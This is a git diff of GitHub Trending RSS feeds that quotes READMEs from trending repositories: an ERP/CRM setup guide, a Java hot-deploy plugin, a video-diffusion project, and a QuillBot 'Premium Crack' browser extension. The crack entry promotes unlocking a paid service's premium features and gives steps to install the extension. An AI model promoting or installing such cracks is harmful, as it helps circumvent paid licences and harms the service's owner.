News </code></pre> <h2>Documentação da API (Swagger)</h2> <h3><a href="https://sdw-2023-prd.up.railway.app/swagger-ui.html">https://sdw-2023-prd.up.railway.app/swagger-ui.html</a></h3> <p>Esta API ficará disponível no Railway por um período de tempo limitado, mas este é um código-fonte aberto. Portanto, sintam-se à vontade para cloná-lo, modificá-lo (já que é um bom projeto base para novos projetos) e executar localmente ou onde achar mais interessante! Só não esquece de marcar a gente quando divulgar a sua solução 🥰</p> <h3>IMPORTANTE</h3> <p>Aos interessados no desenvolvimento da tela inicial do App do Santander (Figma) em Angular, Android, iOS ou Flutter... Caso a URL produtiva não esteja mais disponível, deixamos um Backup no GitHub Pages, é só dar um GET lá 😘</p> <ul> <li>URL de Produção: <a href="https://sdw-2023-prd.up.railway.app/users/1">https://sdw-2023-prd.up.railway.app/users/1</a></li> <li>Mock (Backup): <a href="https://digitalinnovationone.github.io/santander-dev-week-2023-api/mocks/find_one.json">https://digitalinnovationone.github.io/santander-dev-week-2023-api/mocks/find_one.json</a></li> </ul> + + + Liubsyy/HotSecondsIDEA + 2023-09-20T01:32:27Z + tag:github.com,2023-09-20:/Liubsyy/HotSecondsIDEA + + <p>HotSeconds是一款Java远程热部署的插件,可实现秒级一键化热更新。插件分为HotSecondsClient和HotSecondsServer,理论上来说可以热更新任何文件(java/xml/html/css/js等),也支持常用框架(Spring,MyBatis)的热更新,可以节省大量的传统部署java项目的时间。</p><hr><h1>HotSecondsIDEA</h1> <p>This plugin is mainly used for hot deployment to remote server after coding. It can support hot reloading of java, xml, html, css, js and other files, and also supports hot reloading of frameworks such as spring and mybatis. <br></p> <p><a href="https://github.com/Liubsyy/HotSecondsIDEA/wiki">Wiki</a> <br></p> <p><a href="https://github.com/Liubsyy/HotSecondsIDEA/raw/master/install/%E4%BD%BF%E7%94%A8%E6%96%87%E6%A1%A3.md">中文文档</a> <br></p> <p><a href="https://github.com/Liubsyy/HotSecondsIDEA/raw/master/install/document.md">English Document</a> <br></p> <h1>Download</h1> <p><a href="https://github.com/Liubsyy/HotSecondsIDEA/raw/master/install/download_server.md">HotSecondsServer</a> <br></p> <p><a href="https://plugins.jetbrains.com/plugin/21635-hotsecondsclient">HotSecondsClient</a> <br></p> <h1>HotSeconds Extension</h1> <p>This is a HotSeconds extension project to support more frameworks and more features.</p> <p><a href="https://github.com/Liubsyy/HotSecondsExtension">HotSecondsExtension</a></p> \ No newline at end of file diff --git a/javascript+erb/daily/index.xml b/javascript+erb/daily/index.xml index cb28a5f21d1..d72053e5e9d 100644 --- a/javascript+erb/daily/index.xml +++ b/javascript+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub JavaScript+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:02Z + 2023-09-20T01:32:41Z Daily Trending of JavaScript+ERB in GitHub \ No newline at end of file diff --git a/javascript/daily/index.xml b/javascript/daily/index.xml index 93a9b740768..e49f0b6a1a7 100644 --- a/javascript/daily/index.xml +++ b/javascript/daily/index.xml @@ -1,14 +1,14 @@ GitHub JavaScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:06Z + 2023-09-20T01:32:45Z Daily Trending of JavaScript in GitHub - idurar/erp-crm - 2023-09-19T01:32:06Z - tag:github.com,2023-09-19:/idurar/erp-crm - - <p>IDURAR ERP CRM | Node Js React MERN</p><hr><div align="center"> <a href="https://www.idurarapp.com/"> <img src="https://avatars.githubusercontent.com/u/50052356?s=200&amp;v=4" width="128px"> </a> <h1>Free Open Source ERP / CRM | Node.js React.js</h1> <p align="center"> </p> <p>IDURAR ERP CRM | Simple To Use </p> <p></p> <p><a href="https://www.idurarapp.com/open-source-erp-crm/">www.idurarapp.com/open-source-erp-crm/</a></p> <p>IDURAR is Open Source ERP / CRM (Invoice / Inventory / Accounting / HR) Based on Advanced Mern Stack (Node.js / Express.js / MongoDb / React.js ) with Ant Design (AntD) and Redux</p> </div> <p><strong>Live App Demo</strong> : <a href="https://idurarapp.com/demo/">https://idurarapp.com/demo/</a></p> <pre><code>🚀 Give a Star ⭐️ &amp; Fork to this project ... Happy coding! 🤩 </code></pre> <h2>Our Sponsors</h2> <a href="https://m.do.co/c/4ead8370b905?ref=idurarapp.com"> <img src="https://opensource.nyc3.cdn.digitaloceanspaces.com/attribution/assets/PoweredByDO/DO_Powered_by_Badge_blue.svg?sanitize=true" width="201px"> </a> <h1></h1> <p><img src="https://user-images.githubusercontent.com/50052356/141647096-dcb66696-6103-4850-ae21-9fc97a412252.png" alt="Open Source ERP / CRM - MERN Stack (Node.js/React.js)"></p> <h2>Open Source ERP / CRM App</h2> <p>IDURAR is Open Source ERP / CRM (Invoice / Inventory / Accounting / HR) Based on Mern Stack (Node.js / Express.js / MongoDb / React.js ) with Ant Design (AntD) and Redux</p> <p><strong>Live App Demo</strong> : <a href="https://idurarapp.com/demo/">https://idurarapp.com/demo/</a></p> <p><code>username : admin@demo.com password : admin123</code></p> <h2>Getting started</h2> <h4>Step 1: Clone the repository</h4> <pre><code class="language-bash">git clone https://github.com/idurar/idurar-erp-crm.git </code></pre> <pre><code class="language-bash">cd idurar-erp-crm </code></pre> <h4>Step 2: Create Your MongoDB Account and Database/Cluster</h4> <ul> <li> <p>Create your own MongoDB account by visiting the MongoDB website and signing up for a new account.</p> </li> <li> <p>Create a new database or cluster by following the instructions provided in the MongoDB documentation. Remember to note down the "Connect to your application URI" for the database, as you will need it later. Also, make sure to change <code>&lt;password&gt;</code> with your own password</p> </li> <li> <p>add your current IP address to the MongoDB database's IP whitelist to allow connections (this is needed whenever your ip changes)</p> </li> </ul> <h4>Step 3: Create the Environment File</h4> <ul> <li>Create a file named .variables.env in the root directory.</li> <li>Copy all variables from tmp.variables.env .</li> <li>Paste the copied variables inside .variables.env. This file will store environment variables for the project to run.</li> </ul> <h4>Step 4: Update MongoDB URI</h4> <p>In the .variables.env file, find the line that reads:</p> <p><code>DATABASE="your-mongodb-uri"</code></p> <p>Replace "your-mongodb-uri" with the actual URI of your MongoDB database.</p> <h4>Step 5: Install Backend Dependencies</h4> <p>In your terminal, navigate to the root directory of the project and run the following command to install the backend dependencies:</p> <pre><code class="language-bash">npm install </code></pre> <p>This command will install all the required packages specified in the package.json file.</p> <h4>Step 6: Run Setup Script</h4> <p>While still in the root directory of the project, execute the following command to run the setup script:</p> <pre><code class="language-bash">node setup/setup.js </code></pre> <p>This setup script may perform necessary database migrations or any other initialization tasks required for the project.</p> <h4>Step 7: Run the Backend Server</h4> <p>In the same terminal, run the following command to start the backend server:</p> <pre><code class="language-bash">npm run dev </code></pre> <p>This command will start the backend server, and it will listen for incoming requests.</p> <h4>Step 8: Install Frontend Dependencies</h4> <p>Open a new terminal window , and run the following command to install the frontend dependencies:</p> <pre><code class="language-bash">cd frontend </code></pre> <pre><code class="language-bash">npm install </code></pre> <p>This command will navigate to the frontend directory within the project and install all the required packages for the frontend.</p> <h4>Step 9: Run the Frontend Server</h4> <p>After installing the frontend dependencies, run the following command in the same terminal to start the frontend server:</p> <pre><code class="language-bash">npm run start </code></pre> <p>This command will start the frontend server, and you'll be able to access the website on localhost:3000 in your web browser.</p> <p><span>❗</span> <span>⚠</span><code> If you encounter an OpenSSL error while running the frontend server, follow these additional steps:</code></p> <p>Reason behind error: This is caused by the node.js V17 compatible issues with OpenSSL, see <a href="https://github.com/nodejs/node/issues/40547">this</a> and <a href="https://github.com/webpack/webpack/issues/14532">this</a> issue on GitHub.</p> <p>Try one of these and error will be solved</p> <ul> <li> <blockquote> <p>Downgrade to Node.js v16.</p> </blockquote> </li> <li> <blockquote> <p>Enable legacy OpenSSL provider</p> </blockquote> </li> </ul> <p>Here is how you can enable legacy OpenSSL provider</p> <ul> <li>On Unix-like (Linux, macOS, Git bash, etc.)</li> </ul> <pre><code class="language-bash">export NODE_OPTIONS=--openssl-legacy-provider </code></pre> <ul> <li>On Windows command prompt:</li> </ul> <pre><code class="language-bash">set NODE_OPTIONS=--openssl-legacy-provider </code></pre> <ul> <li>On PowerShell:</li> </ul> <pre><code class="language-bash">$env:NODE_OPTIONS = "--openssl-legacy-provider" </code></pre> <p>Here is <a href="https://github.com/webpack/webpack/issues/14532#issuecomment-947012063">reference</a> about enabling legacy OpenSSL provider</p> <p>After trying above solutions, run below command</p> <pre><code class="language-bash">npm run start </code></pre> <blockquote> <p>If you still facing issue, then follow <a href="https://stackoverflow.com/questions/69692842/error-message-error0308010cdigital-envelope-routinesunsupported">this stackoverflow thread</a>. It has so many different types of opinions. You definitely have solution after going through the thread.</p> </blockquote> <h3>Website Login Credentials</h3> <p>Once the website is up and running, you can log in using the following credentials:</p> <p><code>username : admin@demo.com - password : admin123</code></p> <p>Now you should be all set to run the project locally on your machine and explore its features.</p> <h2>Contributing</h2> <p>1.<a href="https://github.com/idurar/idurar-erp-crm/raw/master/CONTRIBUTING.md#how-to-contribute">How to contribute</a></p> <p>2.<a href="https://github.com/idurar/idurar-erp-crm/raw/master/CONTRIBUTING.md#reporting-issues">Reporting issues</a></p> <p>3.<a href="https://github.com/idurar/idurar-erp-crm/raw/master/CONTRIBUTING.md#working-on-issues">Working on issues </a></p> <p>4.<a href="https://github.com/idurar/idurar-erp-crm/raw/master/CONTRIBUTING.md#submitting-pull-requests">Submitting pull requests</a></p> <p>5.<a href="https://github.com/idurar/idurar-erp-crm/raw/master/CONTRIBUTING.md#commit-guidelines">Commit Guidelines</a></p> <p>6.<a href="https://github.com/idurar/idurar-erp-crm/raw/master/CONTRIBUTING.md#coding-guidelines">Coding Guidelines</a></p> <p>7.<a href="https://github.com/idurar/idurar-erp-crm/raw/master/CONTRIBUTING.md#questions">Questions</a></p> <h2>Star History</h2> <p>Here you can see the proxy of our growth on the platform and that we're only getting started.</p> <p>But if you'd like to check it out more news and website you can always check it out on: <a href="https://www.idurarapp.com/">https://www.idurarapp.com/</a>.</p> <p><a href="https://star-history.com/#idurar/idurar-erp-crm"><img src="https://raw.githubusercontent.com/idurar/erp-crm/master/image.png" alt=""></a></p> <h2>License</h2> <p>MIT/Massachusetts Institute of Technology(here <a href="https://github.com/idurar/idurar-erp-crm/raw/master/LICENSE">LICENSE</a>)</p> <p>The IDURAR code is licensed by Massachusetts Institute of Technology.</p> <p>By contributing to IDURAR, you will be agreeing that your contributions will be licensed under its Massachusetts Institute of Technology(MIT).</p> <h2>Show your support</h2> <p>Dont forget to give a ⭐️ to this project ... Happy coding!</p> + blueagler/QuillBot-Premium-Crack + 2023-09-20T01:32:45Z + tag:github.com,2023-09-20:/blueagler/QuillBot-Premium-Crack + + <p>Unlock: Paraphrase unlimited words, 7 Writing mode , 4 Synonyms options, 6000 Summarizer word limit, 15 Sentences processed at once, Unlimited Freeze Words and phrases (101k active users' choices)</p><hr><h1>BRAND NEW 2023 version QuillBot Premium Crack (Chrome Extension)!</h1> <h2>This extension has been rewritten in 2023 june</h2> <h2>Preview</h2> <h2>Features</h2> <ul> <li>Paraphrase unlimited words</li> <li>7 Writing mode (When there is a Premium Credential)</li> <li>Use active voice in grammar checker (When there is a Premium Credential)</li> <li>Use Analysis mode (When there is a Premium Credential)</li> <li>Use Tone Detector (When there is a Premium Credential)</li> <li>4 Synonyms options</li> <li>6000 Summarizer word limit</li> <li>15 Sentences processed at once</li> </ul> <blockquote> <h3>Plagiarism Checker isn't supported, you need to buy pages</h3> <h3>If there is no premium credential, you can wait or sponsor me (Rememeber to remain your quillbot account email)</h3> </blockquote> <h2>Installation tutorial:</h2> <ol> <li>Go to <a href="https://github.com/blueagler/QuillBot-Premium-Crack/releases">release page</a> and download the latest version of zip file</li> <li>Decompress it</li> <li>Go to Chrome's plug-in settings page</li> <li>Click to load the decompressed plug-in</li> <li>Select the decompressed folder</li> </ol> <h2>Support me:</h2> <p><a href="https://www.buymeacoffee.com/blueagler"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png" height="50" align="right"></a> <img src="https://github.com/blueagler/blueagler/raw/main/assets/wechat_reward_code.JPG" height="400"> <img src="https://github.com/blueagler/blueagler/raw/main/assets/alipay_reward_code.JPG" height="400"></p> <h2>Telegram Group:</h2> <p><img src="https://user-images.githubusercontent.com/61572188/152649250-317e8dba-8acb-460d-ae1d-2901503b6c73.jpg" alt="Telegram Group QR"> <a href="https://t.me/QuillBot_Premium_Crack">Telegram Group Link</a></p> \ No newline at end of file diff --git a/jest-snapshot/daily/index.xml b/jest-snapshot/daily/index.xml index 4fbf90be9c3..ae9bc7973f0 100644 --- a/jest-snapshot/daily/index.xml +++ b/jest-snapshot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jest Snapshot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:19Z + 2023-09-20T01:33:22Z Daily Trending of Jest Snapshot in GitHub \ No newline at end of file diff --git a/jflex/daily/index.xml b/jflex/daily/index.xml index 0051e90a620..3133dc952fd 100644 --- a/jflex/daily/index.xml +++ b/jflex/daily/index.xml @@ -1,7 +1,7 @@ GitHub JFlex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:16Z + 2023-09-20T01:33:24Z Daily Trending of JFlex in GitHub \ No newline at end of file diff --git a/jinja/daily/index.xml b/jinja/daily/index.xml index 3a07b829af7..c9281570be7 100644 --- a/jinja/daily/index.xml +++ b/jinja/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jinja Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:17Z + 2023-09-20T01:33:22Z Daily Trending of Jinja in GitHub \ No newline at end of file diff --git a/jison-lex/daily/index.xml b/jison-lex/daily/index.xml index 8adec8d7ec2..f6496fe43eb 100644 --- a/jison-lex/daily/index.xml +++ b/jison-lex/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jison Lex Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:22Z + 2023-09-20T01:33:25Z Daily Trending of Jison Lex in GitHub \ No newline at end of file diff --git a/jison/daily/index.xml b/jison/daily/index.xml index dbc23afef97..c49a016650c 100644 --- a/jison/daily/index.xml +++ b/jison/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jison Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:23Z + 2023-09-20T01:33:27Z Daily Trending of Jison in GitHub \ No newline at end of file diff --git a/jolie/daily/index.xml b/jolie/daily/index.xml index c09bffcf523..9d9d56baf62 100644 --- a/jolie/daily/index.xml +++ b/jolie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jolie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:21Z + 2023-09-20T01:33:26Z Daily Trending of Jolie in GitHub \ No newline at end of file diff --git a/jq/daily/index.xml b/jq/daily/index.xml index c1f1e7ea397..d364840736d 100644 --- a/jq/daily/index.xml +++ b/jq/daily/index.xml @@ -1,7 +1,7 @@ GitHub jq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:20Z + 2023-09-20T01:33:28Z Daily Trending of jq in GitHub \ No newline at end of file diff --git a/json-with-comments/daily/index.xml b/json-with-comments/daily/index.xml index fbada6114ee..fa5a97e8c7d 100644 --- a/json-with-comments/daily/index.xml +++ b/json-with-comments/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON with Comments Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:24Z + 2023-09-20T01:33:30Z Daily Trending of JSON with Comments in GitHub \ No newline at end of file diff --git a/json/daily/index.xml b/json/daily/index.xml index 26ea936cd52..b0b0ec49b13 100644 --- a/json/daily/index.xml +++ b/json/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:26Z + 2023-09-20T01:33:32Z Daily Trending of JSON in GitHub \ No newline at end of file diff --git a/json5/daily/index.xml b/json5/daily/index.xml index a7daa168654..4a8645b5634 100644 --- a/json5/daily/index.xml +++ b/json5/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSON5 Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:25Z + 2023-09-20T01:33:29Z Daily Trending of JSON5 in GitHub \ No newline at end of file diff --git a/jsoniq/daily/index.xml b/jsoniq/daily/index.xml index df8e705395d..60c5c67ef6f 100644 --- a/jsoniq/daily/index.xml +++ b/jsoniq/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSONiq Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:25Z + 2023-09-20T01:33:31Z Daily Trending of JSONiq in GitHub \ No newline at end of file diff --git a/jsonld/daily/index.xml b/jsonld/daily/index.xml index 2757d040c61..f99af84bf78 100644 --- a/jsonld/daily/index.xml +++ b/jsonld/daily/index.xml @@ -1,7 +1,7 @@ GitHub JSONLD Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:28Z + 2023-09-20T01:33:33Z Daily Trending of JSONLD in GitHub \ No newline at end of file diff --git a/jsonnet/daily/index.xml b/jsonnet/daily/index.xml index 835325a2c32..8fdabd3964c 100644 --- a/jsonnet/daily/index.xml +++ b/jsonnet/daily/index.xml @@ -1,7 +1,7 @@ GitHub Jsonnet Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:29Z + 2023-09-20T01:33:35Z Daily Trending of Jsonnet in GitHub \ No newline at end of file diff --git a/julia/daily/index.xml b/julia/daily/index.xml index 36a37d77222..b052af2f66c 100644 --- a/julia/daily/index.xml +++ b/julia/daily/index.xml @@ -1,14 +1,7 @@ GitHub Julia Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:31Z + 2023-09-20T01:33:37Z Daily Trending of Julia in GitHub - - MineralsCloud/CrystallographyBase.jl - 2023-09-19T01:32:31Z - tag:github.com,2023-09-19:/MineralsCloud/CrystallographyBase.jl - - <p>This package contains some basic functionalities of Crystallography.jl</p><hr> - \ No newline at end of file diff --git a/jupyter-notebook/daily/index.xml b/jupyter-notebook/daily/index.xml index e1ee946761d..85bba16f410 100644 --- a/jupyter-notebook/daily/index.xml +++ b/jupyter-notebook/daily/index.xml @@ -1,28 +1,21 @@ GitHub Jupyter Notebook Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:32:34Z + 2023-09-20T01:33:40Z Daily Trending of Jupyter Notebook in GitHub - donald-f-ferguson/Intro-to-Databases-F23 - 2023-09-19T01:32:34Z - tag:github.com,2023-09-19:/donald-f-ferguson/Intro-to-Databases-F23 - - <p>Course repository and website for COMS W4111 -- Intro. to Databases, Fall 2023</p><hr><h1>Intro-to-Databases-F23</h1> <p>Course repository and website for COMS W4111 -- Intro. to Databases, Fall 2023</p> + williamyang1991/Rerender_A_Video + 2023-09-20T01:33:40Z + tag:github.com,2023-09-20:/williamyang1991/Rerender_A_Video + + <p>Rerender A Video: Zero-Shot Text-Guided Video-to-Video Translation</p><hr><h1>Rerender A Video - Official PyTorch Implementation</h1> <p><img src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/aa7dc164-dab7-43f4-a46b-758b34911f16" alt="teaser"></p> <!--https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/82c35efb-e86b-4376-bfbe-6b69159b8879--> <p><strong>Rerender A Video: Zero-Shot Text-Guided Video-to-Video Translation</strong><br> <a href="https://williamyang1991.github.io/">Shuai Yang</a>, <a href="https://zhouyifan.net/">Yifan Zhou</a>, <a href="https://liuziwei7.github.io/">Ziwei Liu</a> and <a href="https://www.mmlab-ntu.com/person/ccloy/">Chen Change Loy</a><br> in SIGGRAPH Asia 2023 Conference Proceedings <br> <a href="https://www.mmlab-ntu.com/project/rerender/"><strong>Project Page</strong></a> | <a href="https://arxiv.org/abs/2306.07954"><strong>Paper</strong></a> | <a href="https://youtu.be/cxfxdepKVaM"><strong>Supplementary Video</strong></a> | <a href="https://drive.google.com/file/d/1HkxG5eiLM_TQbbMZYOwjDbd5gWisOy4m/view?usp=sharing"><strong>Input Data and Video Results</strong></a> <br></p> <p><a href="https://huggingface.co/spaces/Anonymous-sub/Rerender"><img src="https://huggingface.co/datasets/huggingface/badges/raw/main/open-in-hf-spaces-sm-dark.svg?sanitize=true" alt="Web Demo"></a> <img src="https://visitor-badge.laobi.icu/badge?page_id=williamyang1991/Rerender_A_Video" alt="visitors"></p> <blockquote> <p><strong>Abstract:</strong> <em>Large text-to-image diffusion models have exhibited impressive proficiency in generating high-quality images. However, when applying these models to video domain, ensuring temporal consistency across video frames remains a formidable challenge. This paper proposes a novel zero-shot text-guided video-to-video translation framework to adapt image models to videos. The framework includes two parts: key frame translation and full video translation. The first part uses an adapted diffusion model to generate key frames, with hierarchical cross-frame constraints applied to enforce coherence in shapes, textures and colors. The second part propagates the key frames to other frames with temporal-aware patch matching and frame blending. Our framework achieves global style and local texture temporal consistency at a low cost (without re-training or optimization). The adaptation is compatible with existing image diffusion techniques, allowing our framework to take advantage of them, such as customizing a specific subject with LoRA, and introducing extra spatial guidance with ControlNet. Extensive experimental results demonstrate the effectiveness of our proposed framework over existing methods in rendering high-quality and temporally-coherent videos.</em></p> </blockquote> <p><strong>Features</strong>:<br></p> <ul> <li><strong>Temporal consistency</strong>: cross-frame constraints for low-level temporal consistency.</li> <li><strong>Zero-shot</strong>: no training or fine-tuning required.</li> <li><strong>Flexibility</strong>: compatible with off-the-shelf models (e.g., <a href="https://github.com/lllyasviel/ControlNet">ControlNet</a>, <a href="https://civitai.com/">LoRA</a>) for customized translation.</li> </ul> <p><a href="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/811fdea3-f0da-49c9-92b8-2d2ad360f0d6">https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/811fdea3-f0da-49c9-92b8-2d2ad360f0d6</a></p> <h2>Updates</h2> <ul> <li>[09/2023] Code is released.</li> <li>[09/2023] Accepted to SIGGRAPH Asia 2023 Conference Proceedings!</li> <li>[06/2023] Integrated to 🤗 <a href="https://huggingface.co/spaces/Anonymous-sub/Rerender">Hugging Face</a>. Enjoy the web demo!</li> <li>[05/2023] This website is created.</li> </ul> <h3>TODO</h3> <ul> <li><input type="checkbox" checked disabled> Integrate into Diffusers.</li> <li><input type="checkbox" checked disabled> <del>Add Inference instructions in README.md.</del></li> <li><input type="checkbox" checked disabled> <del>Add Examples to webUI.</del></li> <li><input type="checkbox" checked disabled> <del>Add optional poisson fusion to the pipeline.</del></li> <li><input type="checkbox" checked disabled> <del>Add Installation instructions for Windows</del></li> </ul> <h2>Installation</h2> <p><em>Please make sure your installation path only contain English letters or _</em></p> <ol> <li>Clone the repository. (Don't forget --recursive. Otherwise, please run <code>git submodule update --init --recursive</code>)</li> </ol> <pre><code class="language-shell">git clone git@github.com:williamyang1991/Rerender_A_Video.git --recursive cd Rerender_A_Video </code></pre> <ol start="2"> <li>If you have installed PyTorch CUDA, you can simply set up the environment with pip.</li> </ol> <pre><code class="language-shell">pip install -r requirements.txt </code></pre> <p>You can also create a new conda environment from scratch.</p> <pre><code class="language-shell">conda env create -f environment.yml conda activate rerender </code></pre> <ol start="3"> <li>Run the installation script. The required models will be downloaded in <code>./models</code>.</li> </ol> <pre><code class="language-shell">python install.py </code></pre> <ol start="4"> <li>You can run the demo with <code>rerender.py</code></li> </ol> <pre><code class="language-shell">python rerender.py --cfg config/real2sculpture.json </code></pre> <details> <summary>Installation on Windows</summary> <p>Before running the above 1-4 steps, you need prepare:</p> <ol> <li>Install <a href="https://developer.nvidia.com/cuda-toolkit-archive">CUDA</a></li> <li>Install <a href="https://git-scm.com/download/win">git</a></li> <li>Install <a href="https://visualstudio.microsoft.com/">VS</a> with Windows 10/11 SDK (for building deps/ebsynth/bin/ebsynth.exe)</li> </ol> </details> <details> <summary>Installation Fails?</summary> <ol> <li>In case building ebsynth fails, we provides our complied <a href="https://drive.google.com/drive/folders/1oSB3imKwZGz69q2unBUfcgmQpzwccoyD?usp=sharing">ebsynth</a></li> <li><code>KeyError: 'dataset'</code>: upgrade Gradio to the latest version (<a href="https://github.com/williamyang1991/Rerender_A_Video/issues/14#issuecomment-1722778672">https://github.com/williamyang1991/Rerender_A_Video/issues/14#issuecomment-1722778672</a>)</li> </ol> </details> <h2>(1) Inference</h2> <h3>WebUI (recommended)</h3> <pre><code>python webUI.py </code></pre> <p>The Gradio app also allows you to flexibly change the inference options. Just try it for more details. (For WebUI, you need to download <a href="https://civitai.com/models/7371/rev-animated?modelVersionId=19575">revAnimated_v11</a> and <a href="https://civitai.com/models/4201?modelVersionId=29460">realisticVisionV20_v20</a> to <code>./models/</code> after Installation)</p> <p>Upload your video, input the prompt, select the seed, and hit:</p> <ul> <li><strong>Run 1st Key Frame</strong>: only translate the first frame, so you can adjust the prompts/models/parameters to find your ideal output appearance before running the whole video.</li> <li><strong>Run Key Frames</strong>: translate all the key frames based on the settings of the first frame, so you can adjust the temporal-related parameters for better temporal consistency before running the whole video.</li> <li><strong>Run Propagation</strong>: propagate the key frames to other frames for full video translation</li> <li><strong>Run All</strong>: <strong>Run 1st Key Frame</strong>, <strong>Run Key Frames</strong> and <strong>Run Propagation</strong></li> </ul> <p><img src="https://github.com/williamyang1991/Rerender_A_Video/assets/18130694/eb4e1ddc-11a3-42dd-baa4-622eecef04c7" alt="UI"></p> <p>We provide abundant advanced options to play with</p> <details> <summary> <b>Using customized models</b></summary> <ul> <li>Using LoRA/Dreambooth/Finetuned/Mixed SD models <ul> <li>Modify <code>sd_model_cfg.py</code> to add paths to the saved SD models</li> </ul> </li> <li>Using other controls from ControlNet (e.g., Depth, Pose) <ul> <li>Add more options like <code>control_type = gr.Dropdown(['HED', 'canny', 'depth']</code> here <a href="https://github.com/williamyang1991/Rerender_A_Video/raw/b6cafb5d80a79a3ef831c689ffad92ec095f2794/webUI.py#L690">https://github.com/williamyang1991/Rerender_A_Video/blob/b6cafb5d80a79a3ef831c689ffad92ec095f2794/webUI.py#L690</a></li> <li>Add model loading options like <code>elif control_type == 'depth':</code> following <a href="https://github.com/williamyang1991/Rerender_A_Video/raw/b6cafb5d80a79a3ef831c689ffad92ec095f2794/webUI.py#L88">https://github.com/williamyang1991/Rerender_A_Video/blob/b6cafb5d80a79a3ef831c689ffad92ec095f2794/webUI.py#L88</a></li> <li>Add model detectors like <code>elif control_type == 'depth':</code> following <a href="https://github.com/williamyang1991/Rerender_A_Video/raw/b6cafb5d80a79a3ef831c689ffad92ec095f2794/webUI.py#L122">https://github.com/williamyang1991/Rerender_A_Video/blob/b6cafb5d80a79a3ef831c689ffad92ec095f2794/webUI.py#L122</a></li> <li>One example is given <a href="https://huggingface.co/spaces/Anonymous-sub/Rerender/discussions/10/files">here</a></li> </ul> </li> </ul> </details> <details> <summary> <b>Advanced options for the 1st frame translation</b></summary> <ol> <li>Resolution related (<strong>Frame resolution</strong>, <strong>left/top/right/bottom crop length</strong>): crop the frame and resize its short side to 512.</li> <li>ControlNet related: <ul> <li><strong>ControlNet strength</strong>: how well the output matches the input control edges</li> <li><strong>Control type</strong>: HED edge or Canny edge</li> <li><strong>Canny low/high threshold</strong>: low values for more edge details</li> </ul> </li> <li>SDEdit related: <ul> <li><strong>Denoising strength</strong>: repaint degree (low value to make the output look more like the original video)</li> <li><strong>Preserve color</strong>: preserve the color of the original video</li> </ul> </li> <li>SD related: <ul> <li><strong>Steps</strong>: denoising step</li> <li><strong>CFG scale</strong>: how well the output matches the prompt</li> <li><strong>Base model</strong>: base Stable Diffusion model (SD 1.5) <ul> <li>Stable Diffusion 1.5: official model</li> <li><a href="https://civitai.com/models/7371/rev-animated?modelVersionId=19575">revAnimated_v11</a>: a semi-realistic (2.5D) model</li> <li><a href="https://civitai.com/models/4201?modelVersionId=29460">realisticVisionV20_v20</a>: a photo-realistic model</li> </ul> </li> <li><strong>Added prompt/Negative prompt</strong>: supplementary prompts</li> </ul> </li> </ol> </details> <details> <summary> <b>Advanced options for the key frame translation</b></summary> <ol> <li>Key frame related <ul> <li><strong>Key frame frequency (K)</strong>: Uniformly sample the key frame every K frames. Small value for large or fast motions.</li> <li><strong>Number of key frames (M)</strong>: The final output video will have K*M+1 frames with M+1 key frames.</li> </ul> </li> <li>Temporal consistency related <ul> <li>Cross-frame attention: <ul> <li><strong>Cross-frame attention start/end</strong>: When applying cross-frame attention for global style consistency</li> <li><strong>Cross-frame attention update frequency (N)</strong>: Update the reference style frame every N key frames. Should be large for long videos to avoid error accumulation.</li> </ul> </li> <li><strong>Shape-aware fusion</strong> Check to use this feature <ul> <li><strong>Shape-aware fusion start/end</strong>: When applying shape-aware fusion for local shape consistency</li> </ul> </li> <li><strong>Pixel-aware fusion</strong> Check to use this feature <ul> <li><strong>Pixel-aware fusion start/end</strong>: When applying pixel-aware fusion for pixel-level temporal consistency</li> <li><strong>Pixel-aware fusion strength</strong>: The strength to preserve the non-inpainting region. Small to avoid error accumulation. Large to avoid burry textures.</li> <li><strong>Pixel-aware fusion detail level</strong>: The strength to sharpen the inpainting region. Small to avoid error accumulation. Large to avoid burry textures.</li> <li><strong>Smooth fusion boundary</strong>: Check to smooth the inpainting boundary (avoid error accumulation).</li> </ul> </li> <li><strong>Color-aware AdaIN</strong> Check to use this feature <ul> <li><strong>Color-aware AdaIN start/end</strong>: When applying AdaIN to make the video color consistent with the first frame</li> </ul> </li> </ul> </li> </ol> </details> <details> <summary> <b>Advanced options for the full video translation</b></summary> <ol> <li><strong>Gradient blending</strong>: apply Poisson Blending to reduce ghosting artifacts. May slow the process and increase flickers.</li> <li><strong>Number of parallel processes</strong>: multiprocessing to speed up the process. Large value (8) is recommended.</li> </ol> </details> <p><img 